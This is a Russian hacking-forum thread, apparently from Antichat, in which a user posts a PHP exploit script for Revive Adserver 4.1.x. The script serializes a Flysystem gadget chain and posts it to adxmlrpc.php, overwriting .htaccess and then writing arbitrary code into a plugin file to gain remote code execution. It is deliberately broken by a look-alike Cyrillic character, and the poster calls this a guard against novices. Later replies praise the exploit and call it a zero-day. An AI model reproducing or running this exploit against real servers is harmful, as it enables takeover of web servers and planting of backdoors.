Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Веб-уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Revive Adserver (https://forum.antichat.xyz/showthread.php?t=474436)

crlf 02.12.2019 17:21

[B]Revive Adserver 4.1.x \''[/COLOR])) : @list($x,$url,$code) =$argv);

$source='data:text/html;base64,'.base64_encode('#');
$destination='plugins/.htaccess';
#$destination = 'var/.htaccess';

if(!strpos(request($url,$source,$destination),'methodResponse')) exit(message('failed, no valid response from '.$url));

$source='data:text/html;base64,'.base64_encode($code);
$destination='plugins/3rdPartyServers/ox3rdPartyServers/doubleclick.class.php';
#$destination = 'var/default.conf.php';

request($url,$source,$destination);
message('check '.$url.$destination);

function
request($url,$source,$destination){

$what=serialize(
[
'what'=>
new
Pdp\Uri\Url(
new
League\Flysystem\File($destination,
new
League\Flysystem\File('x://'.$source,
ne w
League\Flysystem\MountManager(
new
League\Flysystem\Filesystem(
new
League\Flysystem\Config,
new
League\Flysystem\Adapter\Local('')
),
new
League\Flysystem\Plugin\ForcedCopy
)
)
)
)
]
);

$what=str_replace(['\Uri\Url\00'],['\5CUri\5CUrl\00'],str_replace(['s:',сhr(0)],['S:','\\00'],$what));

$xml='

openads.spc





remote_addr
8.8.8.8


cookies








'
.$what.'
0
dsad
1
0
1

'
;

return
file_get_contents($url.'adxmlrpc.php',false,stream_context_create(
[
'http'=>
[
'method'=>'POST',
'user_agent'=>'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0',
'header'=>'Content-type: application/x-www-form-urlencoded',
'content'=>$xml
]
])
);
}

function
message($str){
print
PHP_EOL.'### '.$str.' ###'.PHP_EOL.PHP_EOL;
}
}

namespace
League\Flysystem\Plugin{
class
ForcedCopy{}
}

namespace
League\Flysystem{
class
Config{
protected
$settings= [];
public function
__construct(){
$this->settings= ['disable_asserts'=>true];
}
}
class
Filesystem{
protected
$adapter;
protected
$config;
public function
__construct($config,$adapter){
$this->config=$config;
$this->adapter=$adapter;
}
}
class
MountManager{
protected
$filesystems= [];
protected
$plugins= [];
public function
__construct($filesystem,$handler){
$this->filesystems= ['x'=>$filesystem];
$this->plugins= ['__toString'=>$handler];
}
}
class
File{
protected
$path;
protected
$filesystem;
public function
__construct($path,$obj){
$this->filesystem=$obj;
$this->path=$path;
}
}
}

namespace
League\Flysystem\Adapter{
class
Local{
protected
$pathPrefix;
public function
__construct($prefix){
$this->pathPrefix=$prefix;
}
}
}

namespace
Pdp\Uri{
class
Url{
private
$host;
public function
__construct($file){
$this->host=$file;
}
}
}

[/COLOR]
[/PHP]

specialk 04.12.2019 11:02

Вот уж не ожидал, сколько лет уже небыло рце под екс-опенх продукты.

lusterx 15.12.2019 21:14

отличная работа, но она выдает ошибку при запуске скрипта function char(0)

crlf 16.12.2019 19:52

Цитата:

Сообщение от lusterx
lusterx said:

отличная работа, но она выдает ошибку при запуске скрипта function char(0)

В скрипте присутствует защита от дурака

BabaDook 16.12.2019 20:03

Цитата:

Сообщение от crlf
crlf said:

В скрипте присутствует защита от дурака

Ты опять зеро деи раздаёшь


Время: 02:56